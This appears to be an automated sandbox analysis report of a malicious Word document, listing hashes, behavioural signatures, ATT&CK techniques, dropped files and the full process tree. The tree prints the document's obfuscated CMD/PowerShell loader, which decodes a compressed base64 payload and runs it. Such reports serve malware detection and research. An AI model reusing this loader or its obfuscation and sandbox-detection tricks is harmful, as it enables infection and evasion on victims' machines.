8481620269d137b8bd05d6808d7f84072fff396f4acb2f445b2685d4ea1c20cd

General

Target

44e75a0c946ba9d90173c046ece14504_JaffaCakes118.doc
Size

77KB
MD5

44e75a0c946ba9d90173c046ece14504
SHA1

389937481548509bcce884fa101d562d22cf8b65
SHA256

8481620269d137b8bd05d6808d7f84072fff396f4acb2f445b2685d4ea1c20cd
SHA512

2516b1be9e9f04af1b0de9765f365de0f5cb9c57c070c047d9793ff4d77911664a0e82413538f5eaf1b214a420b979817aa3931b952c67c30eab8bc6f0f91990
SSDEEP

768:X6zyVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9ooOzZawo8v4:Kzyocn1kp59gxBK85fBt+a9gj

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4280	2368	CMD.exe	89

Blocklisted process makes network request 7 IoCs

flow	pid	Process
36	3196	powershell.exe
37	3196	powershell.exe
42	3196	powershell.exe
44	3196	powershell.exe
45	3196	powershell.exe
47	3196	powershell.exe
49	3196	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2368	WINWORD.EXE
2368	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3196	powershell.exe
3196	powershell.exe
3196	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3196	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2368	WINWORD.EXE
2368	WINWORD.EXE
2368	WINWORD.EXE
2368	WINWORD.EXE
2368	WINWORD.EXE
2368	WINWORD.EXE
2368	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 4280	2368	WINWORD.EXE	96
PID 2368 wrote to memory of 4280	2368	WINWORD.EXE	96
PID 4280 wrote to memory of 3196	4280	CMD.exe	98
PID 4280 wrote to memory of 3196	4280	CMD.exe	98

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\44e75a0c946ba9d90173c046ece14504_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\SYSTEM32\CMD.exe
  CMD c:\wiNdoWS\SySTem32\CMd /c"SEt vmN=.( $sHELLId[1]+$sHeLlid[13]+'x')( New-oBJEct io.coMpREsSioN.dEFLatEstREAM([iO.MEmorysTREAm] [COnVERt]::FrOMbaSe64sTrINg( 'NZDdasJAEIVfJRcLq1g3VEsoLgGLVlFaBaX2h95kk0l2NdlNk4lrG3z3JrbO5fnOHOYMqaLC12D7RuwhRGcFyF5BTFIFGjmZTn98KhHzkesmohSFsSULTeYuP56+ltHd+J9Za1kZlFhFyjTcnSfz3TBb79LV1XHS/WYARSJsJEUVD4PM06yV89tAuev3zeNkL5cv1wU4Qqo0Kyo3Th42uPKSK8kLVYaBLRTC3zG49Z4HcSwnlG3zVGGHjmmXk7do5vgOvfcGlJNoM/MJ6OMIIct79JP2Wt6jDE5AeWwKCELZIVhKR2mnLd6tsfiuSfMgNjVWpyaIZiqFi+fGaQO7fKGP5gD9RRN6Ubhocg78HAYYyvp8/gU=' ) , [sYstem.io.COMPressIoN.ComPrESSIonMOdE]::DeCOMPress ) ^| % {New-oBJEct syStem.io.STreAmrEadEr( $_, [SYsTEM.tExT.EnCOdiNg]::aScII)}^| %{ $_.reAdTOeND()}) && pOwERsHEll . (\"{1}{0}{2}\" -f 'I','SET-','tem') ( \"{0}{3}{1}{2}\"-f'vARI','lE',':0SkX','ab' ) ( [tYPE]( \"{0}{1}{2}\"-f 'E','N','VirOnment' ) ) ; ( ^& (\"{1}{0}{2}\" -f'ARIA','V','blE' ) ( \"{1}{0}\" -f 'X*xT','E')).\"Val`UE\".\"INvo`kECOmM`AND\".(\"{1}{2}{3}{0}\" -f'PT','in','Vok','ESCri' ).Invoke( ( ( .('Gi' ) ( \"{0}{1}{2}\" -f 'VArIA','bLE:0S','kx')).\"Val`Ue\"::( \"{4}{1}{0}{2}{5}{3}\"-f 'E','t','nvIro','eNtVARIAbLE','ge','nM').Invoke( 'VmN',(\"{1}{0}{2}\" -f 'RoCE','P','ss' ) ) ) )"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOwERsHEll . (\"{1}{0}{2}\" -f 'I','SET-','tem') ( \"{0}{3}{1}{2}\"-f'vARI','lE',':0SkX','ab' ) ( [tYPE]( \"{0}{1}{2}\"-f 'E','N','VirOnment' ) ) ; ( & (\"{1}{0}{2}\" -f'ARIA','V','blE' ) ( \"{1}{0}\" -f 'X*xT','E')).\"Val`UE\".\"INvo`kECOmM`AND\".(\"{1}{2}{3}{0}\" -f'PT','in','Vok','ESCri' ).Invoke( ( ( .('Gi' ) ( \"{0}{1}{2}\" -f 'VArIA','bLE:0S','kx')).\"Val`Ue\"::( \"{4}{1}{0}{2}{5}{3}\"-f 'E','t','nvIro','eNtVARIAbLE','ge','nM').Invoke( 'VmN',(\"{1}{0}{2}\" -f 'RoCE','P','ss' ) ) ) )
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3196

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3760 --field-trial-handle=2252,i,16504368816373493055,9578615028378602855,262144 --variations-seed-version /prefetch:8
1⤵
PID:1440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\862.exe

Filesize
36KB

MD5
41d9f8321bbd35aaf891f3b7bac060df

SHA1
58da7c06501159f4c7b909d59abc23152e8372ad

SHA256
29457444b7268825b17399a00ce19fcd9ecd6647b936f229c8ca2bb35ea4ca64

SHA512
5a23e2e3bd6713d0a66eb8ca74ac5ae878c549e20eb1d18423d7afa739d431685ebe0f66a8bf730c7b8188baaaedebe321294269de3e35e6b91bd07189803960

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yv3mgolv.422.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2368-8-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-52-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-6-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/2368-5-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-4-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/2368-0-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/2368-7-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-9-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-10-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-11-0x00007FFC2B8E0000-0x00007FFC2B8F0000-memory.dmp

Filesize
64KB

Download
memory/2368-12-0x00007FFC2B8E0000-0x00007FFC2B8F0000-memory.dmp

Filesize
64KB

Download
memory/2368-33-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-1-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/2368-94-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-3-0x00007FFC6DE0D000-0x00007FFC6DE0E000-memory.dmp

Filesize
4KB

Download
memory/2368-49-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-48-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-51-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-50-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-47-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-53-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-2-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/2368-70-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-71-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/2368-90-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/2368-91-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/2368-93-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/2368-92-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3196-37-0x000001D065380000-0x000001D0653A2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads